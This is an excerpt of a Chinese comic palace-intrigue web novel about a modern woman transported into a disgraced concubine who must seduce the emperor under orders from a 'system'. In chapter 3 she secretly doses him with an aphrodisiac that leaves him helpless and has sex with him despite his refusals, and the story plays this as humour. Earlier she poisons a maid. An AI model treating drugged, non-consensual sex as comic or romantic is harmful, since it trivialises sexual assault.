《共享黑月光》
1. 用绑定系统完成任务
命运往往在不经意间改写。
——
睡了一觉,时间好像过了很久,起码天都黑了。
身上和心里的双重疲惫感提醒我,我应该做了很长的一个梦,只是如往常般,在睁开眼后便忘了梦里的内容,睡了太久,嗓子比冬天干裂的塑胶管子好不了多少,阵阵发干发疼,还有恶心的甜味泛上来。
我适应了一下昏昏沉沉的脑袋,下意识去摸手机,却发现余光中纳入了一道人影。
这是个极瘦的女人。
细长的颈没入浆洗得软白的衣裳,广袖长裙,此时正看着我,死气沉沉的,像是纸扎成的人。
这种撞鬼的情况,大概人遇到了都会害怕。
但我除外,谁让我还有三个ppt,五份工作汇报,十二张报表,以及六个纠缠不清的前男友没处理。
等等,是六个还是八个来着?
算了不重要。
世界上如果有一类人最怕死亡和贫穷,那也绝不会是我。
某种意义上,我周妧绝非贪生怕死之辈。
对,我不怕。
她向前走了半步,裙摆晃动,破旧的粉红绣花鞋若隐若现。
……糟糕,我怕了。
老天收人,不分早晚。
胆小就像海绵里的水,不用怎么努力就能挤出来一大堆。
我:“你别过来!”
她没什么要伤害我的意思,听话地后退一步。
“美人,您怎么了,是睡迷糊了吗?”
我警惕的盯着她:“你套近乎的方法真的很老套,谁派你过来吓我的,是Malloy还是Ramon,是姓张的还是姓王的?”
“美人您在说什么呀?”她紧张道,捡出能听懂的那几个字回答,“是,周将军派我跟着你的。”
好一会儿我才找回自己的声音,“……周江军?哪个周江军?”
我只认识个叫孟江军的,好像是Malloy的私人助理,在我和Malloy打得火热的时候勾搭到一起的。
后来被我甩了。
两个都是。
这下她慌了,快走到床边拉着我检查,我也慌了,拼命挣扎。
她扑腾着往外跑,想去喊人,一个没注意摔倒在了地上,嘴里大喊着:
“来人啊!美人疯了!”
我环顾四周,确定了不管她怎么嚎也没有第三个人出现。
我伸手,悄悄在床上摸索着,指尖碰到一个坚硬的物体,也不知道是什么就把它丢了出去,正好打中这个陌生女人,她尖叫一声晕了过去,但是床头的一小截蜡烛也被扑灭,房间顿时伸手不见五指。
这一定是场绑架,我得先溜出去再说。
几乎是只走了两步,“砰”地一声,我摸了摸头上瞬间鼓起的大包,天旋地转中疼痛后知后觉的泛起,我扯开嘴角,骂了两个脏字。
然后也晕了过去。
不知道又过了多久,幽深的漩涡中白茫茫的光亮一点点渗透。
“美人,美人……”
由远及近的声音海浪般打在耳膜上,头皮上的钝痛愈发清晰,我猛地哆嗦了一下,在坠落感中睁开了眼睛。
天亮了。
我还活着,只是晕了一夜而已。
情况不会更糟了,我安慰自己。
昨天的那个女人跪在地上,她盘起的长发散乱了一半,打着结披在肩上,脸颊带着未褪去的青涩,约莫十八九上下,额头有一块破皮,“奴婢该死,求美人恕罪。”
我:“你是谁?”
她开始哭哭啼啼。
“回美人的话,奴婢是绿柳。”
“……奴婢?”
我甩了甩阵阵发晕的脑袋,注意到这个不同寻常的称呼,“给我把枕头捡回来。”
昨晚甩出去的硬东西应该是什么引枕之类的。
我思考着是不是因为最近太累精神不正常了的时候,突然有个声音凭空响起。
“叮——系统重新启动中。”
……什么?
我伸出脚踢了踢绿柳,“你听见什么声音了吗?”
她一脸怆然,痛呼:“美人您还没好过来吗?您是不是真傻了?”
我想了想,如实回答:“我可能是。”
她号啕大哭,鼻涕眼泪糊了满脸。
哭哭哭,就知道哭,这叫人怎么敢说话!要不这个美人还是让你当好了!
空荡荡的房间里,我仰起头,房梁上掉落的木屑正好打在我的脸上,像是一记耳光。
这到底是哪里?绑架我有什么目的?
“……三、二、一,数据加载完毕,请宿主确认身份。”
那个诡异的声音继续响起。
“周妧,二十岁,镇国大将军周越嫡次女。”
宿主?是说我吗?
镇国大将军,这怎么可能,难不成我穿越了?还是来到了一个陌生的世界?
周妧……
名字倒和我一模一样。
“因三日前的宫宴上疑似给皇上投毒,周将军入狱,周氏女从妃降为美人,打入冷宫。”
我:“。”
很好,天崩开局。
谋杀皇帝可是抄家灭族的大罪,我留在这儿还有什么用,等死吗?
系统:“你需要完成核心源数据生成的各种任务。”
我:“什么任务,石人一只眼,挑动黄河天下反?”
系统:“……当然不是,这是冷宫,不是宇宙指挥中心。”
“哦,”我皮笑肉不笑,“原来你知道我这是在冷宫啊,除了烤冷面还能干什么。”
系统:“总之,你必须要完成任务,否则会受到惩罚。”
我:“什么惩罚?”
系统:“接了任务你就知道了。”
“我被关在这里什么都做不了,你先想办法把我弄出去呗。”我道,“不过,那什么周将军为什么要谋害皇帝?”
真是亲爹,给皇上挖的坑,把女儿埋进去了。
系统:“我没法把你弄出去,任务之外的其他事情,我必须符合世界的运行逻辑。”
我组织了一下语言,“也就是说,你不是给我开的金手指。”
系统:“我是给你开的监控。”
我:“……”
你看我需要吗。
有多远滚多远!
系统又解释:“我只负责发布任务,任务进度拉满后就能送你离开这里,你可以回到原来的世界。”
我:“其实,我也没有很想回去。”
毕竟还有三个ppt,五份工作汇报,十二张报表,以及六个纠缠不清的前男友。
系统可以检测到宿主的情绪波动和心理状态,周妧不加掩饰的摆烂原封不动地传达到它那里。
“……回去后可以满足你两个要求。”
你说这个我可就来精神了。
“做,我一定做,区区冷宫怎么能挡住年轻人奋斗拼搏的火焰!”
系统:“那现在可以领取你的第一个任务了吗?”
我礼貌摆手,“您请讲。”
第一个任务出来了。
“任务:侍寝,期限:三天,若期限内未能完成,宿主的生命将直接进入三小时倒计时。”
火焰就是不能烧的太旺,我化灰了。
好冒昧的任务,好冒昧的系统,我要报警抓它!
“你怎么不直接让我去死!”
系统:“因为你还没有完成任务。”
我:“。”
那还真是谢谢你了。
“换个任务!”
“不。”
“换个任务!!”
“不。”
“换个任务!!!”
“不。”
半个时辰后。
“换......换个......换个任务。”我声嘶力竭。
“......不。”它濒临崩溃。
“换......换......”我像条喘着粗气刚爬完山的狗,“我跟皇上都不认识,侍不了!”
如果你问我狗会什么会去爬山,我也不知道,人还要从冷宫里爬出去侍寝呢,这世界
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就是这么荒唐又可笑。
“好,那换成救周将军出狱。”系统好言相劝,“你就把它当成个游戏,不玩会死,生死面前,还顾得上认不认识吗。”
“......”你给我等着!
在冷宫里想见皇上和想去月球上种花有什么区别?
说不定后者更容易呢。
我没想过会发生睡一觉就来到一个陌生世界的事,但它就是发生了,我也没想过我是嫦娥,没准我还真是。
系统:“存在即合理,系统最后提醒一遍:从现在开始,宿主要记牢自己的身份,你是将军府入宫为妃的二小姐,任务既是回去的线索,也是保命的关键,请宿主重视任务。
“最后,祝你在任务过程中能够获得更好的体验。”
滚啊!
我在床上盘着腿思考伟大的哲学问题,人为什么要活着,哲学的基调是理性常带的悲伤。
我悲伤着,却被一阵似诉似泣的鼾声打断。
绿柳靠在柱子上睡着了。
“绿柳,绿柳!”
她睁开迷蒙的双眼,睡得太香,险些流出口水。
绿柳头发更加蓬乱,顶着一头鸟窝视线下移,缓缓落在我眼下的乌青。
黑出个性,黑出强大。
跟被人吸走了精气一样。
她连忙跪下,“美人赎罪,奴婢该死,没伺候好美人。”
我:“睡眠质量不错,心态更好,咱都沦落到这里了,你是一点办法也不想啊。”
你难道就不想帮着你的主子我侍寝吗,你自己侍也行啊,只要你能把皇上拉过来,以后换我叫你美人。
“行了。”我打断她的求饶,“你还记得我侍寝过多少次吗?”
我不动敌就动,任务还是要做的,先打探清楚皇上对这周美人的态度,万一有那么几分旧情呢。
“美人您......您还尚未侍寝......”
我:“。”
很好,距离成功又远了一步。
我托腮继续思考生存还是死亡,又一个宫女从外面进来,据说去打探周家在宫里的人脉了。
她向我问了好,就和绿柳围着我劈里啪啦一顿收拾。
过程中两个人还很不小声的交头接耳,主题是千万不能因为在冷宫就让美人失去了活下去的斗志。
“美人,您看。”无名侍女指了指铜镜。
铜镜里的人五官像外星人一样排列着,我品鉴了一下飞了出去的鼻子,铜镜里拐了三道弯波浪一样的嘴巴张开。
“皇上平时不上朝的时候一般都在哪儿啊?”
“奴婢不知,打探皇上的行踪可是大罪。”
两个侍女扑通一声跪在了地上,听得我膝盖疼,动不动就跪的毛病,烦得我头疼。
我又问:“皇上一般什么时候来后宫?”
两个人一齐摇了摇头,我听到了我的后槽牙在“咯吱咯吱”的响。
我:“那皇上有什么喜好吗?”
“奴婢、奴婢们不知啊。”
很好,我露出一个安详的笑容,“那冷宫里怎么死最不疼啊?”
“不可啊美人!您要是自戕了,奴婢们活不成事小,怕是会连累咱们将军啊!”
我不以为然,他连累我的时候怎么不想想。
搞得好像谁就多长了个脑袋一样。
绿柳身旁那丫头一把抱住我的脚惊恐地摇着。
“行了行了,”我抽出脚,“我要见皇上,我告诉你们,见不到皇上我就活不成了。”
绿柳瑟瑟发抖,“奴婢无能......”
“奴婢倒有个主意,美人若信得过,不妨让咱们的人捎副药递进来,您服下后伪装成性命垂危,眼下将军虽身陷囹圄,但朝堂上尚未有指证周家的关键证据,周家的势力还在,皇上定不会眼睁睁看着您没命。”
这才是后宫女人该有的水平啊,我赞赏地看着她,“你叫什么?”
她震惊地看着我,“奴婢是小姐从将军府带入宫的花明啊。”
我心虚地咳了两声,“就按你说的办。”
2. 用出冷宫完成任务
冷宫里无聊透了,出不了门,每天就只能看太阳看星星看月亮,好处是时间过的很慢,坏处是好处没什么用,偶尔找系统聊聊天,它还对我爱答不理的。
系统:在我的设定里,偶尔和一直不是一个意思。
有时候也和绿柳说两句,但她总能一句话终结我的话题。
比如。
“绿柳,今天的菜怎么这么咸。”
“大概……因为奴婢盐放多了。”
如果我非要把话题进行下去。
“那你为什么非要多放盐?”
“奴婢怕菜会不咸。”
我:“。”
我要离开这里!
一定!必须!
想完成任务,想回家,想在新认识的小帅哥胸肌上弹钢琴,想......
想的不错但还是先别想了。
终于,花明搭上了能递药进宫的线,傍晚,她捂着怀里的东西做贼似的跑进来。
“美人,成了!”
药很快被熬好,绿柳皱着眉看我接过药,欲言又止。
喝完药,我的脸几乎成了个囧字。
“绿柳,”我叫她,“去找贵妃娘娘,说我快不行了。”
皇后身子不好,宫里大大小小的事实际上都是贵妃在料理,她哥哥曾经在军营与我那作祸的爹共事过。
当然,最重要的是系统告诉我,皇上今晚会去贵妃宫里。
对不起了贵妃,为了补偿你,这份辛苦我就替你受了吧。
我躺上床等人来。
过了很久,天已经完全暗下来了,外面传来浩浩荡荡的声音,地面都在震动,屋顶上的木屑扑簌簌地落了下来。
我用打了补丁的被子罩上头,头发千万不能脏,这可是绿柳给我用偷摘的丁香泡水连洗了好几天的,一扇就是一阵香风,能给人香迷糊。
在动静有片刻的停息时,我露出头,摆好姿势。
乌黑的长发有几缕散在了素白的寝衣上,让领口的暗桃花纹若隐若现。
这还不迷死他。
“皇上驾到——”
乌泱泱的一大群人挤进了我的小破,哦不,皇上的小破院子里。
我半阖着眼,装作出气多进气少的样子,苍白纤细的手伸出床榻,翡翠玉镯衬的手背上青紫的血管十分明显。
馥郁透骨的香气从外面带了进来,我耸了耸鼻子。
这谁啊居然比我还香,敢抢我风头!
影影绰绰的光影在眼皮上晃动,有手指点到我的手腕上,像是在搭脉。
突然,脖颈处刺痛,被什么东西扎了一下。
等等!
有人在给我扎针!
我抖了抖,掀开眼皮,正对上一双狭长阴冷的眼睛。
凌厉的美丽里裹挟着权力温养出的凉薄,金冠束起长发,柔和沉静的线条极具迷惑性,几乎能生出莹润的光,浑身上下无一不冷,却无一不勾魂夺魄。
用我毕生的文学储备概括就是:
好绝一男的!
系统:“别忘了你要干什么。”
我是谁,我在哪,我要干什么。
系统咆哮,“侍寝啊!”
我:“你说他是不是抹口红了,这小嘴怎么这么娇艳欲滴。”
系统:“。”
我抬起手,在他越拧越深的眉头中轻轻抓住了他明黄的袖口。
“是......皇上吗?”
两行清泪滑下,我指尖颤抖着划过他的手背。
秦玦问御医,“她如何?”
我泫然欲泣,“纵身体再痛苦也不抵心上的伤,妾还以为再也见不到皇上了。”
秦玦没有说话,只是默默坐的离我更远。
御医脸上颇有些心惊肉跳之意,目光在我们之间游移,“回......回皇上的话,周美人她,她身体无恙啊......”
秦玦黑沉沉的眸子落在了我身上,我心头一跳。
“皇上,皇上......”
花明像块抹布一样甩了进来,滑跪在皇上面前,看得我是叹为观止。
花明你真是个忠仆啊,都这个时候了你还记得挡在我前面,我默默为她树起大拇指。
忠仆开口道:“美人她其实身体康健,她是故意诱您前来,想要下毒......弑君。”
我,?
奸仆,这是个彻头彻尾的奸仆!
刀光剑影闪过,两把长剑抵在我的肩侧,只待一声令下就能取我的项上人头。
完了!
我的脊背被冷汗浸透,花明,你这贱人居然要害我!
“皇上,这是前阵子美人让我回周家取的毒药,她今日引您前来,就是想让我找机会下毒,可我不敢啊,我不敢做这种大逆不道之事。”
花明的头重重磕在地上,比忠贞不二的朝廷大臣也差不了多少。
我不服,甚至想就地唱一段窦娥冤。
不是让你下毒给我吗?怎么就成下毒给他了?
他可是皇帝!你不敢难不成我就敢了?!
我伸手推开眼前的长剑,踉跄着扑在皇上脚边拽住龙袍,杂乱的血印子蹭的到处都是。
“不是我!我冤枉啊皇上!”
这是什么剑?杀猪的吗?怎么这么锋利!
美人计秒变苦肉计。
疼死我了,我流下真情实感的泪,哭的不能自已。
血染脏了他的衣袍,他睨了我一眼。
是可怜我了吗?
他抬脚。
揣在了我的肩窝。
我纵享丝滑。
……家暴男不得house!
“皇上,”我不死心地爬回来扒住他的腿,掌心下是紧实而有弹性的触感,我没忍住捏了一下,“皇上救我!”
我一口血喷在了他的身上,反正都是死罪。
就摸一下。
“周氏!”
他咬牙切齿,冷艳的脸上出现裂痕,努力控制自己想当场把她的头砍掉的冲动。
后来的秦玦无比后悔,人有时候还是要冲动一把的。
“妾......妾叫周妧......”
我晕倒在了他的脚下,听见花明大喊这不可能。
视线的最后,是一片模糊中他俯下的身子。
以及那探究的眼神。
没什么不可能的,我赌对了。
花明早被人收买了,眼下将军府绝不能横生枝节,她怎么还敢回去给我取毒药入宫,分明是不知被谁收买准备作为压垮将军府的最后一根稻草。
皇上和我都是万万杀不得的,她没有给我下毒,蒙蔽我才能藏好真正的毒药,就是为了能直接把周家意图谋反的证据暴露在皇上的眼前,是人证,也是铁证。
她从外面拿进宫的不是一开始和我说的让人身体虚弱的,而是宫宴上能致人于死地的那种。
我帮她撕开一个口子,让她露出森森白刃。
如她所愿暴露在皇上眼下。
那碗药的边缘是我自己涂上了毒药。
剂量很小,御医根本诊断不出来,但足以致死,让花明死。
谋害主人,污蔑周家。
或许周家的嫡女同样中了周府的毒不足以证明周家清白,但至少这池水被搅得更浑,一时半会,可保周家无虞。
而我,没能躺在皇上的龙床上,却也躺回了自己原本的宫殿。
周妃的玉阳宫。
皇上也意识到了一个问题,周家定罪前,周家的嫡女绝不能不明不白地死在后宫。
他有了这觉悟,我就好办多了,只要不作大死,他绝不会动我,看在周家旧部的面子上,还要保我平安。
系统按之前说好的,给我连吃三枚解毒丹。
其实一颗就够了,可是我担心这解药不知道被系统宝贝起来放了多久了。
一颗正好没药效怎么办,小心驶得万年船嘛。
“行了,别装死,你就舔了一下碗边,至于吗?”
我幽幽睁开眼,咳了两声,虚弱道:
“你懂什么!这都是伤元气的知不知道。”
“不知道,”系统诚实的提醒:“但是我知道,你还剩不到两天的时间,如果完成不了任务,那就直接被电死回收处理了,要元气有什么用。”
我愤怒地从床上爬起来,窗外月亮高悬,让我想起了远在故乡的毕生挚爱……
我的手机。
晚上躺床上玩手机
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可是世上最浪漫的事。
有首歌怎么唱的来着。
我能想到最浪漫的事,就是看手机还玩着电脑~
“系统,你有没有什么办法可以直接把皇上弄过来,春药什么的。”
系统:“......”等死吧你。
我躺在床上咂嘴,“其实情况也不算太糟,好歹出冷宫了不是,皇上虽说没有恢复我的妃位,但也没禁我的足。”
“已经迈出了一大步,还有一小步就是侍寝,我还不知道男人,心里头就那么点事,都好口新鲜的,等着吧,他一准会来找我。”
系统:“......”
我就不信了,他天天往后宫跑,还能落的下我。
一天见十个,挨个排班,轮也轮的到我。
“周氏,皇上这半年只来过后宫三次,两次皆被你扰了兴致,你可知罪。”太后高坐在金座之上斥道。
我还没睡醒就被太后召去。
此时一个激灵,才算彻底清醒过来。
半年?三次?
冤枉啊太后!我恨不得现在就跑过去找他,但我不能,我只能跪在地上磕头。
“昨夜还敢叫人打扰皇上,今儿个哑巴了不成?”
……你别以为我不知道魏贵妃是你侄女。
“回太后娘娘,妾有罪,要不、要不您给妾个机会?今晚让妾去侍奉皇上,弥补妾的罪过?”
其他嫔妃:“......”你是不是觉得你很幽默?
不要脸的狐狸精!当着太后的面都敢现行!
太后不敢相信自己听到了什么,险些一口气没喘上来:“放肆!”
她被宫人搀扶着顺气,一只手哆嗦着指着我:“你……你......咳......传吾懿旨......”
“太后娘娘!”我惊恐地用膝盖擦着地板上前。
要是地上有灰的话,估计能擦出两条洁白的平行线。
可不能让太后罚我!不然我还怎么见皇上。
要是被关个禁闭什么的,我就真的只能在玉阳宫等死了!
“惹太后不快,妾知自己万死也难以赎罪,但事关皇嗣,还请娘娘给妾一个折罪的机会。”
我压低声音。
“你若敢拿皇嗣玩笑......”太后的话中满满的都是威胁。
眼刀子扎了我一身。
感情皇上长那么好看是基因优势,这太后不愧是上届宫斗冠军,年华不在,风韵犹存。
“皇上二十四有余,膝下无嗣,纵皇上年华尚在,但皇嗣事关重大,国本不稳,则社稷动荡,黎民不安。妾终日惶恐,望能报君恩。”
我现在抓心挠肝的只想见皇上然后在系统每十分钟一次的“侍寝”提醒中扑倒他。
“是女人都能生,凭何非你不可?”
太后也不是好糊弄的,后宫寂寞,人人为了拢住皇上使尽解数,这周妧会仙术不成?
莫不是为了争宠信口胡诌的吧。
如果知道太后在想什么,我可能会说一句,你真相了。
“太后不必相信妾,就给妾一个机会,若妾不能让太后满意,这条命就权当给太后赔罪了。”
我目光灼灼地看着她,一脸笃定。
反正烂命一条,你不要系统要,给谁不是给,亏不着我。
踢到我,你们算是踢到铁板了。
太后眯着眼打量我,考量我的可信度。
我看起来万分的可信,看起来。
我继续加码:“就一次,妾会让太后满意的,妾的孩子,不也是太后的孙子吗。”
其他妃嫔诞下皇嗣,那后宫势力就会重新洗牌,据我所知除了她娘家的侄女魏贵妃,她麾下并没什么可靠的妃嫔,可我是她举荐的,暗示孩子能养在她膝下,给她添个筹码,如果我能生下来的话。
不过我当然不会生。
模棱两可的几句话,谁还没表过对太后和皇上的忠心怎么的,我又没有下毒誓。
谈不上骗,顶多算哄她玩玩。
而且哄老人家怎么能叫哄呢,这叫有孝心。
太后眼神一凝,笑道:“好,那哀家就成全了你,你可不要让哀家失望。”
“多谢太后!”
3. 用侍寝成功完成任务
人有两不信,一不信自己会倒霉,二不信别人能走运。
我刚好不一样,我不信自己不走运,也不信别人不倒霉。
三百六十行,行行出大王,那我肯定是钻空子大王。
我美滋滋地回到自己的宫里为侍寝准备着。
不知道太后是怎么说动皇上的,他板着脸在晚上的时候来了。
我潦草行了个礼,挽住他的胳膊,温柔道:“皇上,您来了。”
然后在唰拉拉的拔剑声中我泰然自若的把头靠在他的肩上。
“皇上,您不用担心,妾的身子好多了。”
皇上:“......”那毒不会是药脑子的吧。
李公公:“......”没听说过周家有个傻子啊。
众侍卫:“......”冷宫果然不是人待的地方,周美人疯了。
还有一道不识趣的力想分开我和皇上,我紧紧拽住他的胳膊,死不撒手。
秦玦的脸完全冷了下来。
这女人浑身使不完的牛劲,推都推不开,哪有半分中毒虚弱的样子。
她那咸猪手还在他身上蹭来蹭去,秦玦活到现在,还是头一回有人敢这样冒犯他。
“......松开朕。”
我得寸进尺,搂住他的腰,“皇上,妾很怕,妾还以为再也见不到你了。”
秦玦感觉自己被勒得快要喘不过来气。
“周氏......你放......”肆。
“好,妾放开您是吗?”
我听话地松开手,牵着他往里走。
玉阳宫内蒙尘的金杯玉器重新被擦拭干净,奇珍异宝有不少是封妃时秦玦亲自赏赐下来的,所有人都以为周妧定能飞黄腾达,直到出了宫宴上的那件事。
成也将军女,败也将军女。
本以为不论周家如何,周妧都注定是牺牲品了,没想到玉阳宫在短短几日内关上又打开,内外哗然,前后不知道有多少人旁敲侧击秦玦的意思,李居怀跟前都热闹了不少。
打探的人越多,这件事就越扑朔迷离匪夷所思。
越是不可知,那些大人们越依依不饶,生怕这是一个什么信号或者征兆。
关于皇上到底为什么会去冷宫把这个女人领出来,李居怀也一头雾水,总不能真是怕她死在里头吧。
李居怀的肩被风风火火跑过去的人撞了一下,他悄悄揉了揉,想起了前阵子有小太监讲起山村中的牛有时会得的一种病,疯牛病。
“皇上上朝辛苦啦,妾给您准备了惊喜。”
秦玦刚想松口气,面前就摆上了一盏污浊的黑绿不明液体。
他眯起眼睛,“惊喜呢。”
我用眼神示意,他顺着我的目光看到药碗。
秦玦喉咙被这股味道熏的发痒,他掩住口鼻。
“......这是什么?”
我体贴地坐在他旁边,用勺子搅了搅,“这是妾为您准备的十全十美大补汤。”
“这可是补身子的神药。”
他拒绝,“既然是神药,你自己用了就是。”
“皇上不喝,我怎敢喝。”
我举着勺子停在他的唇边,他樱色的唇洇上少许药渍。
娇艳欲滴,娇艳欲滴。
我哄道:“对身体好的,皇上听话,啊——”
“朕不......”
他一张嘴,我就见缝插针地把药送了进去。
这味道简直能扇人嘴巴,秦玦感觉就算是放了十年的抹布扔进泔水桶也比这个好闻。
他自小娇生惯养,当然没有闻过泔水桶。
但那是他能想象出来的最恶心的东西。
不对。
强迫他喝这东西的周妧比泔水桶更恶心。
我当然不知道皇上的内心戏,此时此刻,我正牢牢盯紧眼前这张漂亮的嘴,像是完成什么指标,拼命往里面灌药,决不给他拒绝的机会。
问我为什么知道他要拒绝。
笑话,这药闻起来像是穿了十年的袜子扔到热水壶闷三天,还是带脚气的那种,光是伸手一勺一勺喂给他,我都觉得眼睛快被辣瞎了。
皇上,再忍忍,你的福气都在后头呢。
一碗药愣是靠着我的毅力让他喝了个七七八八,我还不放心,最后拿清水冲了遍碗底,连药渣也喂了进去。
面前的药碗被移开后,秦玦的手撑在梨花木的小几上,胃里翻江倒海,指尖忍到到发白。
他的眼里浮现出杀意,用内力将人从自己身边震开。
“周氏!”
我不知怎的就被弹到了地上,懵懂地看着手边碎成八瓣的瓷碗。
为它默哀了三秒,毕竟它也算功成身退。
这玩意要是能被带走得值老鼻子钱了。
我还来不及心疼碎了的小钱钱,就见皇上周身弥漫着肃杀的气息。
他眼底阴沉,风暴酝酿。
礼法是权力的华衣,守礼者看到的是高贵庄严,封建者聚集便不以为封建,无视礼法者则不忍一视,毕竟,拨开华衣,不是暴戾恣睢的满目血腥,就是腐朽流脓的满目疮痍,歌功颂德如飞蝇过耳。
“你以为朕不敢杀你是吗?”
我:“妾不敢。”
秦玦抬起我的下巴,冷哼。
“你知不知道你的眼里有四个字。”
我:“哦?是一见倾心还是貌美如花。”
“是自以为是。”
我:“。”
说着说着,干嘛突然骂人。
我叹道:“您看这药多好,刚喝完就生出神力。”
秦玦被噎了一下,一双精雕细刻到有些不近人情的手在我的脸上掐出通红的印子。
他俯视着我,“你到底给朕喝了什么?”
我只笑着看向李居怀。
“公公不必留在这里,皇上跟前我来伺候就好。”
皇上冰凌一样的目光扎了过去,“李居怀,你还活着呢。”
李公公顿时生出一脑门冷汗,拿不准皇上的意思。
这到底是让走还是让留?
我趁皇上不注意,踮脚,取下他的发簪,青丝散开,有几根从我脸上蹭过,带着说不出来的香。
从皇上来我就怀疑他故意钓鱼执法,看似头发梳的一丝不苟,扣子扣到最上面的一颗,其实这都是表象。
谁大晚上在自己家里穿成这样,他一定是在cosplay,表演古装版制服诱惑。
试问哪个好人忍得了白天装骚晚上装纯?
反正我忍不了。
我绕到他身侧,在离他细窄的腰线附近虚碾起几根发丝,香气沾染的指缝里都是,我将手覆到鼻尖。
“好香啊。”
李公公第一个反应过来,他吓得嘴都合不上,后退两步碰倒了什么东西,然后夺门而出,同时还贴心的关上了门。
我离秦玦更近了一步,“现在,是我和皇上的时间了。”
疯了,她一定疯了!
秦玦不想和这个疯疯癫癫的女人纠缠,谁知道疯病会不会传染。
他想立刻回宣晖殿歇息,但突然,一股难以言喻的热气正顺着全身经络向下腹汇聚。
他不可置信的往下望去,又看了眼地上的碎片,动作迟滞地推开眼前的女人,全身像是被火点着,轰地一下烧了起来。
这个该死的女人给他喝了催情的药!
秦玦强撑着走到门口,欲唤人,腰上一紧一松,衣服已是要散不散地披在身上。
我抚摸着腰封上精秀的纹路,天真无邪,“皇上,这绣的可真好看。”
秦玦定定地看着眼前的女人。
乌黑的发不守规矩的半挽着,微蹙的眉眼带出几许深情遮住了眼底点点寒光,薄唇总是莫名上扬,既亲密又嘲讽,既专注又凉薄。
这就是出自镇国大将军府的嫡幼女,自小跟着哥哥走南闯北的周妧。
真是好样的!
满嘴谎话,傻子才信她,秦玦暗自咬牙。
“好啊。”他声音哑了许多,“那就侍奉朕。”
秦玦抬手,垂下的凤眸遮住了讥讽。
这疯女人从见了他就开始装疯卖傻,他倒要看看......
……
她居然敢!
她真的敢!
这个孟浪轻浮的女人!
周家到底是怎么教育女
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儿的!
我不理解,我明明是听了皇上的话,为什么他看起来更生气了,一副想要把我大卸八块的样子?
难道是因为我额外发挥了一下,一只手环过他的腰,另一只手随便搭在他的胸上吗?
这能怪谁呢,它就是只比较随便的手啊。
不过摸起来手感是真的好,我已经很努力控制自己不乱捏了。
他的腰好细,想摸。
这也是我手的想法,不是我的。
算了,由着它去吧。
反正它有自己想法也不是一天两天了。
“周妧!”秦玦咬牙切齿。
“皇上,你看你都这样了还能出去吗?”
我在他身下扫了一眼,好心劝道。
“要是您实在想走的话,妾也不敢拦您,就说......”我善解人意的想了想,为他找了个绝佳理由,“就说您看上妾宫殿里的一个宝贝,揣裤子里带走了。”
这皇帝脑子不正常,绝对的!
我明明替他出了个好主意,他还是青筋暴起,像是想杀了我。
“呵。”他唇边溢出声笑,冷的吓人,“那我还要谢谢你了?”
人在关键时刻总能感应到即将到来的危险,进而激发出求生本能。
此刻也不例外。
我的身体比我的大脑更先做出反应。
它从未让我失望过,所以我总能放心的把一切交给它。
虽然不知道为什么,但我已经把皇上推倒在软榻上。
“皇上别生气,主意而已,妾再给你出一个。”
“留下来怎么样……”
药喝了这么久,他早应该忍到极限了,但是怎么看着还没什么事的样子。
我不敢在他身上赌,只能靠自己,我将手放到了他的身上。
“皇上?”
秦玦的唇血痕明显,他自己咬的。
“给我滚!”
这药能催情也能卸力,药劲上来,他也只能任人摆布,我目不转睛地看着这位皇帝陛下的美貌,手指小心地描摹。
“周妧,你的指甲差点戳到朕的眼睛!”
……有没有人说过,你真的很没有情调。
我低头,轻啄在他的唇上。
软软的,并没有想象中的凉意。
秦玦后仰,雪白的颈线克制到快要崩坏。
奈何他的意志越抵抗,药效越强。
蜡烛的微光透在窗户上,暖烘烘的光晕让夜晚显得更加闷热,有风吹在上面,窗子上的投影骤然放大,烛泪渗了出来,顺着蜡烛向下流,滴了一地。
李居怀咳嗽了一声,又怕惊扰什么,往外挪了挪才发现有小太监支着耳朵,他暗骂几句,给了小太监一脚。
小太监踉跄了两步,拍干净身上的灰,再不敢多听多看,他的魂飘在九霄云外。
周……周美人好勇敢……
已经是后半夜了。
我叫了水收拾好,一抬头,就看见秦玦闭着眼还生着气。
皇上生了自己的气,就不能生我的了呦。
我拍拍他的胳膊,“皇上放宽心,今晚什么都没发生。”
什么都没发生你叫了三回水,秦玦睨了我一眼。
瞪得我怪莫名其妙的。
东西长在他身上,倒成了我的错?
我忍耐了一下,还是对他露出个笑,他看到后又一脸气结地背过身去。
有病!谁爱伺候谁伺候吧。
我打了个哈欠,回内殿我柔软舒服的大床上补觉,皇上还没恢复我的位分,我是代罪之身,白天就不配去向皇后娘娘请安,正好睡个懒觉。
至于刚刚被代罪之身玷污的皇上,就只能委屈他少睡会了。
当皇帝真不容易啊,还好没人让我当。
秦玦的作息向来稳定,放纵过后沉沉睡去,次日他不仅比平时晚起了一刻钟,睁开眼后还浑身酸痛。
他环顾了一下略显陌生的环境,发现自己在被利用完后,让周妧那个混蛋晾在软榻上睡了一夜。
秦玦掀开身上被敷衍盖上的一件外衣,狠狠扔在地上,他盯着内殿的方向。
眼睛都快冒出了火。
4. 用十年没笑过完成任务
内殿没有点灯,昏昏暗暗的看不真切。
秦玦踢开掉到地上的枕头,撩开大床前的帷幔,冷笑出声。
女人四仰八叉地横在床上,被子夹在两腿之间,呼吸平稳,时不时吧唧一下嘴。
她睡得倒是安稳!
如果这不是个女人,他一定一脚踹上去。
她是个女人吗?秦玦觉得自己想多了。
把他扔在外头一整夜自己回去睡大床?!
还爱他,傻子才信!
秦玦越想越生气,他一把扯住周妧身下的被子,甩飞饼一样把人甩了出来。
“哎呦!”
我正做梦包养小狼狗呢,他朝我抛了个媚眼,执起我的手贴在他敞来的衣襟里,刚得意忘形准备将人一脱到底,怎么就滚到了地板上?
小狼狗打我了?
一个冒着寒气的人影站在窗前,狭长冷厉的眼睛有种诡谲的美感。
小狼狗气泡“啪”地一下碎了,我从梦里醒了过来,面带遗憾向皇上请安。
“皇上,歇息得怎么样?”
才两个时辰,困不死你才怪。
“你倒是睡得挺好,怎么,朕扰了你的美梦?”
你倒挺有自知之明的,我撇了撇嘴。
“不敢,那妾伺候皇上更衣?”
拒绝我,快拒绝我!
“知道还不赶紧滚过来!”
你大爷的秦扒皮!我低头无声骂骂咧咧,从李公公手里接过朝服。
秦珏站在原地,不爽的目光自始至终就没从我身上拔起来过。
朝服里三层外三层,死沉又难穿。
在我系错了五个扣子后,秦玦终于失去了耐心,一把将我的手拉开。
“真是没用!”
我温顺地笑着,心里已经把他大卸八块,“妾没用,不知昨晚伺候的皇上满意吗?”
秦玦手一顿,冷艳的面容爆红,像是开出绮丽的花。
我心满意足地欣赏一番,舒坦,又是被陛下美到的一天呢。
“你真是粗鄙!”
